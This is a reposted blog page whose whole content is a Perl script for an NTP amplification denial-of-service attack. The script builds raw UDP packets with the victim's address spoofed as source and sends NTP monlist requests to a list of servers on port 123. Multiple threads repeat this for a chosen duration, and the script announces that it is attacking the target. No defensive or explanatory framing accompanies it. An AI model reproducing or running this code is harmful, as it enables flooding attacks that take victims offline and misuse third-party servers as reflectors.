NTP,PERL

标签：tar   get   art   os   set   name   

use threads;


use Socket;





my $num_of_threads = $ARGV[5];


my $target = $ARGV[0];


my $udp_src_port = $ARGV[1];


my $time = $ARGV[2];


#Open Input List.


my $openme = $ARGV[3];





open my $handle, ‘<‘, $openme;


chomp(my @servers = <$handle>);


close $handle;





my $ppr = $ARGV[4];


my @threads = initThreads();


print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";





#Does the list exist?


if (-e $openme) {


print "Using $openme as list.\n";


}


unless (-e $openme) {


print "List does not exist.\n";


exit();


}





#Start Threading


foreach(@threads){


$_ = threads->create(\&attackshit);


}


foreach(@threads){


$_->join();


}





sub initThreads{


my @initThreads;


for(my $i = 1;$i<=$num_of_threads;$i++){


push(@initThreads,$i);


}


return @initThreads;


}








#Start DDosing.


sub attackshit{


alarm("$time");


repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];


my $ip_src = ( gethostbyname($target) )[4];


socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;


setsockopt( RAW, 0, 1, 1 );


main();





sub main {


my $packet;


$packet = ip_header();


$packet .= udp_header();


$packet .= payload();


#send_packet($packet) && goto repeat;


#send_packet($packet)


for (1 .. $ppr) {


send_packet($packet) or last;


}


goto repeat;


}





sub ip_header {


my $ip_ver = 4;


my $ip_header_len = 5;


my $ip_tos = 0;


my $ip_total_len = $ip_header_len + 20;


my $ip_frag_id = 0;


my $ip_frag_flag = "010";#"\x30\x31\x30";


my $ip_frag_offset = "0000000000000";#"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";


my $ip_ttl = 255;


my $ip_proto = 17;


my $ip_checksum = 0;


my $ip_header = pack( "H2 H2 n n B16 h2 c n a4 a4",#"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",


$ip_ver.$ip_header_len,


$ip_tos,


$ip_total_len,


$ip_frag_id,


$ip_frag_flag.$ip_frag_offset,


$ip_ttl,


$ip_proto,


$ip_checksum,


$ip_src,


$ip_dst


);


return $ip_header;


}





sub udp_header {


my $udp_dst_port = 123;


my $udp_len = 8 + length( payload() );


my $udp_checksum = 0;


my $udp_header = pack(


"n n n n",#"\x6E\x20\x6E\x20\x6E\x20\x6E",


$udp_src_port,


$udp_dst_port,


$udp_len,


$udp_checksum


);


return $udp_header;


}





sub payload {


my $data = "\x17\x00\x03\x2a" . "\x00" x 4;


my $payload = pack( "a".length($data), $data );


return $payload;


}





sub send_packet {


send( RAW, $_[0], 0, pack( "Sna4x8", AF_INET, 60, $ip_dst ) );


}





}

NTP,PERL,布布扣,bubuko.com

NTP,PERL

标签：tar   get   art   os   set   name   

原文地址：http://www.cnblogs.com/ye1031/p/3801670.html